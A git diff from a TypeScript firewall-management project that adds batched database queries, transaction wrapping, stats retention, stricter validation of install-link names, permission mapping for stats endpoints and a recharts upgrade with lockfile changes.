mapResolvedCidrsByRuleIds,
|
||||
replaceResolvedForRule,
|
||||
listOverrides,
|
||||
insertOverride,
|
||||
@@ -57,6 +60,7 @@ export {
|
||||
listStatsSamples,
|
||||
listRecentStats,
|
||||
deleteStatsSamplesForAgent,
|
||||
deleteStatsSamplesBefore,
|
||||
upsertIpBlockStats,
|
||||
listIpBlockStats,
|
||||
deleteIpBlockStatsForAgent,
|
||||
@@ -121,6 +125,8 @@ import {
|
||||
updateIpList,
|
||||
deleteIpList,
|
||||
listIpListEntries,
|
||||
mapIpListEntriesByListIds,
|
||||
mapIpListNames,
|
||||
countEntriesByListIds,
|
||||
replaceIpListEntries,
|
||||
} from './lists.js'
|
||||
@@ -151,6 +157,7 @@ import {
|
||||
deletePolicyRule,
|
||||
listHostnameRules,
|
||||
listResolvedForRule,
|
||||
mapResolvedCidrsByRuleIds,
|
||||
replaceResolvedForRule,
|
||||
listOverrides,
|
||||
insertOverride,
|
||||
@@ -162,6 +169,7 @@ import {
|
||||
listStatsSamples,
|
||||
listRecentStats,
|
||||
deleteStatsSamplesForAgent,
|
||||
deleteStatsSamplesBefore,
|
||||
upsertIpBlockStats,
|
||||
listIpBlockStats,
|
||||
deleteIpBlockStatsForAgent,
|
||||
@@ -216,6 +224,8 @@ export const repos = {
|
||||
updateIpList,
|
||||
deleteIpList,
|
||||
listIpListEntries,
|
||||
mapIpListEntriesByListIds,
|
||||
mapIpListNames,
|
||||
countEntriesByListIds,
|
||||
replaceIpListEntries,
|
||||
listPolicySets,
|
||||
@@ -240,6 +250,7 @@ export const repos = {
|
||||
deletePolicyRule,
|
||||
listHostnameRules,
|
||||
listResolvedForRule,
|
||||
mapResolvedCidrsByRuleIds,
|
||||
replaceResolvedForRule,
|
||||
listOverrides,
|
||||
insertOverride,
|
||||
@@ -248,6 +259,7 @@ export const repos = {
|
||||
listStatsSamples,
|
||||
listRecentStats,
|
||||
deleteStatsSamplesForAgent,
|
||||
deleteStatsSamplesBefore,
|
||||
upsertIpBlockStats,
|
||||
listIpBlockStats,
|
||||
deleteIpBlockStatsForAgent,
|
||||
|
||||
@@ -39,6 +39,34 @@ export function listIpListEntries(db: Db, listId: string) {
|
||||
.all()
|
||||
}
|
||||
|
||||
/** Entries for many lists in one query (agent policy hot path). */
|
||||
export function mapIpListEntriesByListIds(
|
||||
db: Db,
|
||||
listIds: string[],
|
||||
): Map<string, string[]> {
|
||||
const map = new Map<string, string[]>()
|
||||
for (const id of listIds) map.set(id, [])
|
||||
if (listIds.length === 0) return map
|
||||
const rows = db
|
||||
.select({ listId: ipListEntries.listId, cidr: ipListEntries.cidr })
|
||||
.from(ipListEntries)
|
||||
.where(inArray(ipListEntries.listId, listIds))
|
||||
.all()
|
||||
for (const r of rows) map.get(r.listId)?.push(r.cidr)
|
||||
return map
|
||||
}
|
||||
|
||||
/** List names for many ids in one query. */
|
||||
export function mapIpListNames(db: Db, ids: string[]): Map<string, string> {
|
||||
if (ids.length === 0) return new Map()
|
||||
const rows = db
|
||||
.select({ id: ipLists.id, name: ipLists.name })
|
||||
.from(ipLists)
|
||||
.where(inArray(ipLists.id, ids))
|
||||
.all()
|
||||
return new Map(rows.map((r) => [r.id, r.name]))
|
||||
}
|
||||
|
||||
/** Entry counts for many lists in one query. */
|
||||
export function countEntriesByListIds(
|
||||
db: Db,
|
||||
@@ -60,17 +88,19 @@ export function countEntriesByListIds(
|
||||
}
|
||||
|
||||
export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) {
|
||||
db.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
|
||||
if (cidrs.length === 0) return
|
||||
const now = new Date().toISOString()
|
||||
db.insert(ipListEntries)
|
||||
.values(
|
||||
cidrs.map((cidr) => ({
|
||||
id: crypto.randomUUID(),
|
||||
listId,
|
||||
cidr,
|
||||
createdAt: now,
|
||||
})),
|
||||
)
|
||||
.run()
|
||||
db.transaction((tx) => {
|
||||
tx.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
|
||||
if (cidrs.length === 0) return
|
||||
const now = new Date().toISOString()
|
||||
tx.insert(ipListEntries)
|
||||
.values(
|
||||
cidrs.map((cidr) => ({
|
||||
id: crypto.randomUUID(),
|
||||
listId,
|
||||
cidr,
|
||||
createdAt: now,
|
||||
})),
|
||||
)
|
||||
.run()
|
||||
})
|
||||
}
|
||||
@@ -170,11 +170,13 @@ export function setAgentPolicySets(db: Db, agentId: string, setIds: string[]) {
|
||||
}
|
||||
}
|
||||
|
||||
db.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
|
||||
setIds.forEach((setId, i) => {
|
||||
db.insert(agentPolicySets)
|
||||
.values({ agentId, setId, sort: i * 10 })
|
||||
.run()
|
||||
db.transaction((tx) => {
|
||||
tx.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
|
||||
setIds.forEach((setId, i) => {
|
||||
tx.insert(agentPolicySets)
|
||||
.values({ agentId, setId, sort: i * 10 })
|
||||
.run()
|
||||
})
|
||||
})
|
||||
bumpAgentGeneration(db, agentId)
|
||||
}
|
||||
@@ -271,20 +273,22 @@ export function reorderPolicyRules(
|
||||
throw new Error('ordered_ids must list every rule in the set exactly once')
|
||||
}
|
||||
// Temporary priorities to avoid UNIQUE collisions
|
||||
orderedIds.forEach((id, i) => {
|
||||
db.update(policyRules)
|
||||
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
|
||||
.where(eq(policyRules.id, id))
|
||||
.run()
|
||||
})
|
||||
orderedIds.forEach((id, i) => {
|
||||
db.update(policyRules)
|
||||
.set({
|
||||
priority: (i + 1) * 10,
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
.where(eq(policyRules.id, id))
|
||||
.run()
|
||||
db.transaction((tx) => {
|
||||
orderedIds.forEach((id, i) => {
|
||||
tx.update(policyRules)
|
||||
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
|
||||
.where(eq(policyRules.id, id))
|
||||
.run()
|
||||
})
|
||||
orderedIds.forEach((id, i) => {
|
||||
tx.update(policyRules)
|
||||
.set({
|
||||
priority: (i + 1) * 10,
|
||||
updatedAt: new Date().toISOString(),
|
||||
})
|
||||
.where(eq(policyRules.id, id))
|
||||
.run()
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
@@ -315,22 +319,44 @@ export function listResolvedForRule(db: Db, ruleId: string) {
|
||||
.all()
|
||||
}
|
||||
|
||||
/** Resolved CIDRs for many hostname rules in one query. */
|
||||
export function mapResolvedCidrsByRuleIds(
|
||||
db: Db,
|
||||
ruleIds: string[],
|
||||
): Map<string, string[]> {
|
||||
const map = new Map<string, string[]>()
|
||||
for (const id of ruleIds) map.set(id, [])
|
||||
if (ruleIds.length === 0) return map
|
||||
const rows = db
|
||||
.select({
|
||||
ruleId: policyRuleResolved.ruleId,
|
||||
cidr: policyRuleResolved.cidr,
|
||||
})
|
||||
.from(policyRuleResolved)
|
||||
.where(inArray(policyRuleResolved.ruleId, ruleIds))
|
||||
.all()
|
||||
for (const r of rows) map.get(r.ruleId)?.push(r.cidr)
|
||||
return map
|
||||
}
|
||||
|
||||
export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) {
|
||||
db.delete(policyRuleResolved)
|
||||
.where(eq(policyRuleResolved.ruleId, ruleId))
|
||||
.run()
|
||||
if (cidrs.length === 0) return
|
||||
const now = new Date().toISOString()
|
||||
db.insert(policyRuleResolved)
|
||||
.values(
|
||||
cidrs.map((cidr) => ({
|
||||
id: crypto.randomUUID(),
|
||||
ruleId,
|
||||
cidr,
|
||||
resolvedAt: now,
|
||||
})),
|
||||
)
|
||||
.run()
|
||||
db.transaction((tx) => {
|
||||
tx.delete(policyRuleResolved)
|
||||
.where(eq(policyRuleResolved.ruleId, ruleId))
|
||||
.run()
|
||||
if (cidrs.length === 0) return
|
||||
const now = new Date().toISOString()
|
||||
tx.insert(policyRuleResolved)
|
||||
.values(
|
||||
cidrs.map((cidr) => ({
|
||||
id: crypto.randomUUID(),
|
||||
ruleId,
|
||||
cidr,
|
||||
resolvedAt: now,
|
||||
})),
|
||||
)
|
||||
.run()
|
||||
})
|
||||
}
|
||||
|
||||
export function listOverrides(db: Db, agentId: string) {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { and, eq, desc, sql, inArray } from 'drizzle-orm'
|
||||
import { and, eq, desc, sql, inArray, lt } from 'drizzle-orm'
|
||||
import type { Db } from '../client.js'
|
||||
import {
|
||||
agentIpBlockStats,
|
||||
@@ -38,6 +38,18 @@ export function deleteStatsSamplesForAgent(db: Db, agentId: string) {
|
||||
.run()
|
||||
}
|
||||
|
||||
/**
|
||||
* Retention: drop raw samples recorded before the cutoff ISO timestamp.
|
||||
* Lifetime totals live on the agent row; per-IP/per-port aggregates are kept.
|
||||
*/
|
||||
export function deleteStatsSamplesBefore(db: Db, cutoffIso: string): number {
|
||||
const result = db
|
||||
.delete(agentStatsSamples)
|
||||
.where(lt(agentStatsSamples.recordedAt, cutoffIso))
|
||||
.run()
|
||||
return result.changes
|
||||
}
|
||||
|
||||
export type IpHitInput = { ip: string; packets: number }
|
||||
|
||||
/** Gap after which a new presence report counts as a re-hit (left EVOFW_HITS). */
|
||||
|
||||
@@ -12,6 +12,7 @@
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "tsup src/index.ts --format esm --dts",
|
||||
"dev": "tsup src/index.ts --format esm --dts --watch",
|
||||
"test": "vitest run --passWithNoTests"
|
||||
|
||||
@@ -181,6 +181,11 @@ export const putAgentPolicySetsBodySchema = z.object({
|
||||
set_ids: z.array(z.string()),
|
||||
})
|
||||
|
||||
/** Shared body for bulk agent operations (approve-bulk, policy-set assignment). Empty array = clear assignment. */
|
||||
export const agentIdsBodySchema = z.object({
|
||||
agent_ids: z.array(z.string().min(1)).max(1000),
|
||||
})
|
||||
|
||||
export const createOverrideBodySchema = z.object({
|
||||
cidr: z.string().min(1),
|
||||
action: policyActionSchema,
|
||||
@@ -492,8 +497,22 @@ export const dashboardStatsSchema = z.object({
|
||||
lists_total: z.number().int(),
|
||||
})
|
||||
|
||||
/**
|
||||
* Install-link client name. The name is embedded into generated bash /
|
||||
* RouterOS install scripts, so it is limited to safe printable characters.
|
||||
*/
|
||||
export const installLinkNameSchema = z
|
||||
.string()
|
||||
.trim()
|
||||
.min(1)
|
||||
.max(64)
|
||||
.regex(
|
||||
/^[\p{L}\p{N}][\p{L}\p{N} .:_-]*$/u,
|
||||
'Имя может содержать буквы, цифры и символы . : _ - (без перевода строк и кавычек)',
|
||||
)
|
||||
|
||||
export const createInstallLinkBodySchema = z.object({
|
||||
name: z.string().min(1),
|
||||
name: installLinkNameSchema,
|
||||
platform: agentPlatformSchema.optional().default('linux'),
|
||||
})
|
||||
|
||||
|
||||
Whitespace-only changes.
@@ -11,6 +11,20 @@ describe('permissionForRequest', () => {
|
||||
)
|
||||
})
|
||||
|
||||
it('maps agent stats endpoints to stats permission, not agents', () => {
|
||||
expect(
|
||||
permissionForRequest('GET', '/api/v1/agents/a1/stats'),
|
||||
).toBe('fw:stats:read')
|
||||
expect(
|
||||
permissionForRequest('GET', '/api/v1/agents/a1/blocked-ips'),
|
||||
).toBe('fw:stats:read')
|
||||
// reset is destructive — stays under agents write
|
||||
expect(
|
||||
permissionForRequest('POST', '/api/v1/agents/a1/stats/reset'),
|
||||
).toBe('fw:agents:write')
|
||||
expect(permissionForRequest('GET', '/api/v1/agents')).toBe('fw:agents:read')
|
||||
})
|
||||
|
||||
it('maps integrations to lists read / settings admin', () => {
|
||||
expect(
|
||||
permissionForRequest('GET', '/api/v1/integrations/evobgp/communities'),
|
||||
|
||||
@@ -29,6 +29,12 @@ export function permissionForRequest(
|
||||
const m = method.toUpperCase()
|
||||
const write = m !== 'GET' && m !== 'HEAD' && m !== 'OPTIONS'
|
||||
|
||||
// Agent statistics live under /agents/:id/… — classify as stats, not agents.
|
||||
if (
|
||||
/^\/api\/v1\/agents\/[^/]+\/(stats|blocked-ips|blocked-ports)$/.test(path)
|
||||
) {
|
||||
return 'fw:stats:read'
|
||||
}
|
||||
if (path.startsWith('/api/v1/agents') || path.startsWith('/api/v1/install-links')) {
|
||||
return write ? 'fw:agents:write' : 'fw:agents:read'
|
||||
}
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
"lucide-react": "^0.468.0",
|
||||
"next-themes": "^0.4.6",
|
||||
"react-day-picker": "^9.4.0",
|
||||
"recharts": "^2.15.0",
|
||||
"recharts": "^3.8.0",
|
||||
"sonner": "^1.7.0",
|
||||
"tailwind-merge": "^3.0.0",
|
||||
"tw-animate-css": "^1.0.0"
|
||||
|
||||
Whitespace-only changes.
Whitespace-only changes.
Generated
+2
-98
@@ -296,8 +296,8 @@ importers:
|
||||
specifier: ^19.0.0
|
||||
version: 19.2.7(react@19.2.7)
|
||||
recharts:
|
||||
specifier: ^2.15.0
|
||||
version: 2.15.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
|
||||
specifier: ^3.8.0
|
||||
version: 3.8.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react-is@18.3.1)(react@19.2.7)(redux@5.0.1)
|
||||
sonner:
|
||||
specifier: ^1.7.0
|
||||
version: 1.7.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
|
||||
@@ -2974,9 +2974,6 @@ packages:
|
||||
resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}
|
||||
engines: {node: '>=8'}
|
||||
|
||||
dom-helpers@5.2.1:
|
||||
resolution: {integrity: sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==}
|
||||
|
||||
dompurify@3.4.13:
|
||||
resolution: {integrity: sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==}
|
||||
|
||||
@@ -3195,9 +3192,6 @@ packages:
|
||||
resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==}
|
||||
engines: {node: '>=6'}
|
||||
|
||||
eventemitter3@4.0.7:
|
||||
resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==}
|
||||
|
||||
eventemitter3@5.0.4:
|
||||
resolution: {integrity: sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==}
|
||||
|
||||
@@ -3223,10 +3217,6 @@ packages:
|
||||
fast-deep-equal@3.1.3:
|
||||
resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}
|
||||
|
||||
fast-equals@5.4.1:
|
||||
resolution: {integrity: sha512-DjlFSM5Pk9cGcL0q5QXl66eGzx0N6szNgaswwc5ZphlBohjTVJSnGgI+rJVOgOi65qUoQnDZN4nDqi33udtydQ==}
|
||||
engines: {node: '>=6.0.0'}
|
||||
|
||||
fast-glob@3.3.3:
|
||||
resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==}
|
||||
engines: {node: '>=8.6.0'}
|
||||
@@ -4628,12 +4618,6 @@ packages:
|
||||
'@types/react':
|
||||
optional: true
|
||||
|
||||
react-smooth@4.0.4:
|
||||
resolution: {integrity: sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==}
|
||||
peerDependencies:
|
||||
react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
|
||||
react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
|
||||
|
||||
react-style-singleton@2.2.3:
|
||||
resolution: {integrity: sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==}
|
||||
engines: {node: '>=10'}
|
||||
@@ -4649,12 +4633,6 @@ packages:
|
||||
peerDependencies:
|
||||
react: ^18.0.0 || ^19.0.0
|
||||
|
||||
react-transition-group@4.4.5:
|
||||
resolution: {integrity: sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==}
|
||||
peerDependencies:
|
||||
react: '>=16.6.0'
|
||||
react-dom: '>=16.6.0'
|
||||
|
||||
react@19.2.7:
|
||||
resolution: {integrity: sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ==}
|
||||
engines: {node: '>=0.10.0'}
|
||||
@@ -4701,17 +4679,6 @@ packages:
|
||||
real-require@1.0.0:
|
||||
resolution: {integrity: sha512-P4nbQYQfePJxRSmY+v/KINxVucm4NF3p3s7pJveMTtom52FR4YGltUQLB8idDXwDDWW+eYrWDFbuzUnjoWHF7g==}
|
||||
|
||||
recharts-scale@0.4.5:
|
||||
resolution: {integrity: sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==}
|
||||
|
||||
recharts@2.15.4:
|
||||
resolution: {integrity: sha512-UT/q6fwS3c1dHbXv2uFgYJ9BMFHu3fwnd7AYZaEQhXuYQ4hgsxLvsUXzGdKeZrW5xopzDCvuA2N41WJ88I7zIw==}
|
||||
engines: {node: '>=14'}
|
||||
deprecated: 1.x and 2.x branches are no longer active. Bump to Recharts v3 to receive latest features and bugfixes. See https://github.com/recharts/recharts/wiki/3.0-migration-guide
|
||||
peerDependencies:
|
||||
react: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
|
||||
react-dom: ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
|
||||
|
||||
recharts@3.8.0:
|
||||
resolution: {integrity: sha512-Z/m38DX3L73ExO4Tpc9/iZWHmHnlzWG4njQbxsF5aSjwqmHNDDIm0rdEBArkwsBvR8U6EirlEHiQNYWCVh9sGQ==}
|
||||
engines: {node: '>=18'}
|
||||
@@ -5383,9 +5350,6 @@ packages:
|
||||
resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==}
|
||||
engines: {node: '>= 0.8'}
|
||||
|
||||
victory-vendor@36.9.2:
|
||||
resolution: {integrity: sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==}
|
||||
|
||||
victory-vendor@37.3.6:
|
||||
resolution: {integrity: sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==}
|
||||
|
||||
@@ -8069,11 +8033,6 @@ snapshots:
|
||||
dependencies:
|
||||
path-type: 4.0.0
|
||||
|
||||
dom-helpers@5.2.1:
|
||||
dependencies:
|
||||
'@babel/runtime': 7.29.7
|
||||
csstype: 3.2.3
|
||||
|
||||
dompurify@3.4.13:
|
||||
optionalDependencies:
|
||||
'@types/trusted-types': 2.0.7
|
||||
@@ -8288,8 +8247,6 @@ snapshots:
|
||||
|
||||
event-target-shim@5.0.1: {}
|
||||
|
||||
eventemitter3@4.0.7: {}
|
||||
|
||||
eventemitter3@5.0.4: {}
|
||||
|
||||
execa@8.0.1:
|
||||
@@ -8327,8 +8284,6 @@ snapshots:
|
||||
|
||||
fast-deep-equal@3.1.3: {}
|
||||
|
||||
fast-equals@5.4.1: {}
|
||||
|
||||
fast-glob@3.3.3:
|
||||
dependencies:
|
||||
'@nodelib/fs.stat': 2.0.5
|
||||
@@ -9566,14 +9521,6 @@ snapshots:
|
||||
optionalDependencies:
|
||||
'@types/react': 19.2.17
|
||||
|
||||
react-smooth@4.0.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
|
||||
dependencies:
|
||||
fast-equals: 5.4.1
|
||||
prop-types: 15.8.1
|
||||
react: 19.2.7
|
||||
react-dom: 19.2.7(react@19.2.7)
|
||||
react-transition-group: 4.4.5(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
|
||||
|
||||
react-style-singleton@2.2.3(@types/react@19.2.17)(react@19.2.7):
|
||||
dependencies:
|
||||
get-nonce: 1.0.1
|
||||
@@ -9588,15 +9535,6 @@ snapshots:
|
||||
prop-types: 15.8.1
|
||||
react: 19.2.7
|
||||
|
||||
react-transition-group@4.4.5(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
|
||||
dependencies:
|
||||
'@babel/runtime': 7.29.7
|
||||
dom-helpers: 5.2.1
|
||||
loose-envify: 1.4.0
|
||||
prop-types: 15.8.1
|
||||
react: 19.2.7
|
||||
react-dom: 19.2.7(react@19.2.7)
|
||||
|
||||
react@19.2.7: {}
|
||||
|
||||
read-package-up@11.0.0:
|
||||
@@ -9655,23 +9593,6 @@ snapshots:
|
||||
|
||||
real-require@1.0.0: {}
|
||||
|
||||
recharts-scale@0.4.5:
|
||||
dependencies:
|
||||
decimal.js-light: 2.5.1
|
||||
|
||||
recharts@2.15.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7):
|
||||
dependencies:
|
||||
clsx: 2.1.1
|
||||
eventemitter3: 4.0.7
|
||||
lodash: 4.18.1
|
||||
react: 19.2.7
|
||||
react-dom: 19.2.7(react@19.2.7)
|
||||
react-is: 18.3.1
|
||||
react-smooth: 4.0.4(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
|
||||
recharts-scale: 0.4.5
|
||||
tiny-invariant: 1.3.3
|
||||
victory-vendor: 36.9.2
|
||||
|
||||
recharts@3.8.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react-is@18.3.1)(react@19.2.7)(redux@5.0.1):
|
||||
dependencies:
|
||||
'@reduxjs/toolkit': 2.12.0(react-redux@9.3.0(@types/react@19.2.17)(react@19.2.7)(redux@5.0.1))(react@19.2.7)
|
||||
@@ -10351,23 +10272,6 @@ snapshots:
|
||||
|
||||
vary@1.1.2: {}
|
||||
|
||||
victory-vendor@36.9.2:
|
||||
dependencies:
|
||||
'@types/d3-array': 3.2.2
|
||||
'@types/d3-ease': 3.0.2
|
||||
'@types/d3-interpolate': 3.0.4
|
||||
'@types/d3-scale': 4.0.9
|
||||
'@types/d3-shape': 3.1.8
|
||||
'@types/d3-time': 3.0.4
|
||||
'@types/d3-timer': 3.0.2
|
||||
d3-array: 3.2.4
|
||||
d3-ease: 3.0.1
|
||||
d3-interpolate: 3.0.1
|
||||
d3-scale: 4.0.2
|
||||
d3-shape: 3.2.0
|
||||
d3-time: 3.1.0
|
||||
d3-timer: 3.0.1
|
||||
|
||||
victory-vendor@37.3.6:
|
||||
dependencies:
|
||||
'@types/d3-array': 3.2.2
|
||||
|
||||
Whitespace-only changes.
@@ -12,6 +12,9 @@
|
||||
"test": {
|
||||
"dependsOn": ["^build"]
|
||||
},
|
||||
"typecheck": {
|
||||
"dependsOn": ["^build"]
|
||||
},
|
||||
"lint": {}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user